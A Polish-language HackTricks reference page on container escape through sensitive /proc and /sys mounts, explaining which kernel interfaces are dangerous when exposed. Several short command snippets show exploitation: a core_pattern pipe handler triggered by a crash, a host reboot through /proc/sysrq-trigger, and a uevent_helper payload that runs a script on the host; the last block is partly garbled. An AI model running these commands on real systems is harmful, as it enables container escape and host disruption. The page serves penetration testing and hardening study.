Sensitive Mounts

Zacznij od zera i stań się mistrzem hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Ujawnienie /proc i /sys bez odpowiedniej izolacji przestrzeni nazw wprowadza znaczne ryzyko bezpieczeństwa, w tym zwiększenie powierzchni ataku i ujawnienie informacji. Te katalogi zawierają wrażliwe pliki, które w przypadku niewłaściwej konfiguracji lub dostępu przez nieuprawnionego użytkownika mogą prowadzić do ucieczki z kontenera, modyfikacji hosta lub dostarczenia informacji ułatwiających dalsze ataki. Na przykład niewłaściwe zamontowanie -v /proc:/host/proc może obejść ochronę AppArmor ze względu na swoją ścieżkową naturę, pozostawiając /host/proc bez ochrony.

Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej luki w https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.

Zagrożenia związane z procfs

/proc/sys

Ten katalog umożliwia dostęp do modyfikacji zmiennych jądra, zazwyczaj za pomocą sysctl(2), i zawiera kilka podkatalogów wymagających uwagi:

/proc/sys/kernel/core_pattern

  • Opisany w core(5).

  • Pozwala zdefiniować program do wykonania podczas generowania pliku rdzenia z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury |.

  • Przykład testowania i eksploatacji:

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test dostępu do zapisu
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Ustawianie niestandardowego obsługującego
sleep 5 && ./crash & # Wywołanie obsługującego

/proc/sys/kernel/modprobe

  • Szczegółowo opisany w proc(5).

  • Zawiera ścieżkę do ładowacza modułów jądra, wywoływanego do ładowania modułów jądra.

  • Przykład sprawdzania dostępu:

ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdzanie dostępu do modprobe

/proc/sys/vm/panic_on_oom

  • Wzmiankowany w proc(5).

  • Globalna flaga kontrolująca, czy jądro ma panikować czy wywoływać zabójcę OOM, gdy wystąpi warunek OOM.

/proc/sys/fs

  • Zgodnie z proc(5), zawiera opcje i informacje o systemie plików.

  • Dostęp do zapisu może umożliwić różne ataki typu odmowa usługi przeciwko hostowi.

/proc/sys/fs/binfmt_misc

  • Umożliwia rejestrację interpretatorów dla formatów binarnych nie-natywnych na podstawie ich numeru magicznego.

  • Może prowadzić do eskalacji uprawnień lub uzyskania dostępu do powłoki root, jeśli /proc/sys/fs/binfmt_misc/register jest zapisywalny.

  • Związany exploit i wyjaśnienie:

  • Wideo-tutorial: Link do wideo

Inne w /proc

/proc/config.gz

  • Może ujawnić konfigurację jądra, jeśli CONFIG_IKCONFIG_PROC jest włączony.

  • Przydatne dla atakujących do identyfikacji podatności w działającym jądrze.

/proc/sysrq-trigger

  • Umożliwia wywoływanie poleceń Sysrq, potencjalnie powodując natychmiastowe ponowne uruchomienia systemu lub inne krytyczne działania.

  • Przykład ponownego uruchamiania hosta:

echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta

/proc/kmsg

  • Ujawnia komunikaty z bufora pierścieniowego jądra.

  • Może pomóc w eksploatacji jądra, wyciekach adresów i dostarczaniu wrażliwych informacji systemowych.

/proc/kallsyms

  • Wyświetla eksportowane symbole jądra i ich adresy.

  • Istotne dla rozwoju eksploitów jądra, zwłaszcza do pokonywania KASLR.

  • Informacje o adresie są ograniczone, gdy kptr_restrict jest ustawione na 1 lub 2.

  • Szczegóły w proc(5).

/proc/[pid]/mem

  • Interfejsuje z urządzeniem pamięci jądra /dev/mem.

  • Historycznie podatny na ataki eskalacji uprawnień.

  • Więcej na temat proc(5).

/proc/kcore

  • Reprezentuje pamięć fizyczną systemu w formacie ELF core.

  • Odczytanie może ujawnić zawartość pamięci hosta i innych kontenerów.

  • Duży rozmiar pliku może prowadzić do problemów z odczytem lub awarii oprogramowania.

  • Szczegółowe użycie w Dumping /proc/kcore in 2019.

/proc/kmem

  • Alternatywny interfejs dla /dev/kmem, reprezentujący pamięć wirtualną jądra.

  • Umożliwia odczytywanie i zapisywanie, co umożliwia bezpośrednią modyfikację pamięci jądra.

/proc/mem

  • Alternatywny interfejs dla /dev/mem, reprezentujący pamięć fizyczną.

  • Umożliwia odczytywanie i zapisywanie, modyfikacja całej pamięci wymaga przekształcenia adresów wirtualnych na fizyczne.

/proc/sched_debug

  • Zwraca informacje o harmonogramowaniu procesów, omijając zabezpieczenia przestrzeni nazw PID.

  • Ujawnia nazwy procesów, identyfikatory PID i grupy cgroup.

/proc/[pid]/mountinfo

  • Udostępnia informacje o punktach montowania w przestrzeni nazw montowania procesu.

  • Ujawnia lokalizację rootfs kontenera lub obrazu.

Zagrożenia związane z /sys

/sys/kernel/uevent_helper

  • Używany do obsługi uevent urządzenia jądra.

  • Zapisywanie do /sys/kernel/uevent_helper może uruchamiać dowolne skrypty po wyzwaleniu uevent.

  • Przykład eksploatacji: %%%bash

Tworzy ładunek

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

Znajduje ścieżkę hosta z montowania OverlayFS dla kontenera

host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)

Ustawia uevent_helper na złośliwego pomocnika

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

Wywołuje uevent

echo change > /sys/class/mem/null/uevent

Odczytuje wynik

cat /output %%%

/sys/class/thermal

  • Kontroluje ustawienia temperatury, potencjalnie powodując ataki typu DoS lub fizyczne uszkodzenia.

/sys/kernel/vmcoreinfo

  • Ujawnia adresy jądra, potencjalnie kompromitując KASLR.

/sys/kernel/security

  • Zawiera interfejs securityfs, umożliwiający konfigurację modułów bezpieczeństwa Linuxa, takich jak AppArmor.

  • Dostęp może umożliwić kontenerowi wyłączenie swojego systemu MAC.

/sys/firmware/efi/vars i /sys/firmware/efi/efivars

  • Ujawnia interfejsy do interakcji z zmiennymi EFI w pamięci NVRAM.

  • Niewłaściwa konfiguracja lub eksploatacja może prowadzić do zablokowania laptopów lub niemożliwości uruchomienia hostów.

/sys/kernel/debug

  • debugfs oferuje interfejs debugowania "bez zasad" do jądra.

  • Historia problemów związanych z bezpieczeństwem związana z jego nieograniczonym charakterem.

References

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated